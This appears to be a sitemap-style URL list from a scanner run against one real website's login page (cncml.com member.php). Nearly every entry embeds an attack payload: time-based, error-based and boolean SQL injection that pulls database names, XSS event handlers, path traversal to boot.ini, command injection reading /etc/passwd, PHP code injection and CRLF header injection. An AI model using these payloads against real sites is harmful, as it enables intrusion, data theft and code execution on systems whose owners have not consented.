http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes')%20OR%2094=94%20AND%20('eF'='eF 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(31=14)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20('q8'='q8 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(34=34)%20THEN%20'yes'%20ELSE%200x28%20END))%20AND%20('xh'='xh 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(63=54)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20('vk'='vk 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(82=82)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20('Nt'='Nt 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes';%20IF(17=73)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes';%20IF(85=85)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(51=14)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20(51=51 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(91=91)%20THEN%200x796573%20ELSE%200x28%20END))%20AND%20(64=64 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes);%20IF(63=97)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes);%20IF(65=65)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes,(SELECT%20(CASE%20WHEN%20(11=18)%20THEN%200x796573%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes,(SELECT%20(CASE%20WHEN%20(39=39)%20THEN%200x796573%20ELSE%2039*(SELECT%2039%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes,(SELECT%20(CASE%20WHEN%20(42=42)%20THEN%200x796573%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes,(SELECT%20(CASE%20WHEN%20(69=69)%20THEN%200x796573%20ELSE%2069*(SELECT%2069%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes,(SELECT%20(CASE%20WHEN%20(79=19)%20THEN%200x796573%20ELSE%2079*(SELECT%2079%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes,(SELECT%20(CASE%20WHEN%20(96=81)%20THEN%200x796573%20ELSE%2096*(SELECT%2096%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes6633x3X6 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yesAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yesJyI%3D 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yesa' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yesalert(42873) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yese360 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=%3Cdir 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=');print(md5(1122));// 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=(SELECT%20(CASE%20WHEN%20(95=74)%20THEN%200x4C63686848%20ELSE%2095*(SELECT%2095%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=................windowswin.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=;print(md5(1122));%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=C:%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LIp57 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LJ6K0 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LOV4o 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LaZMN 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH 0.0015 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%00' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%20 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%25%27%29%20AND%2048%3D48%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%25%27%29%20AND%2062%3D51%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%25'%20AND%2013=13%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%25'%20AND%2091=24%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&action=login&loginsubmit=yes&loginhash=LchhH%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 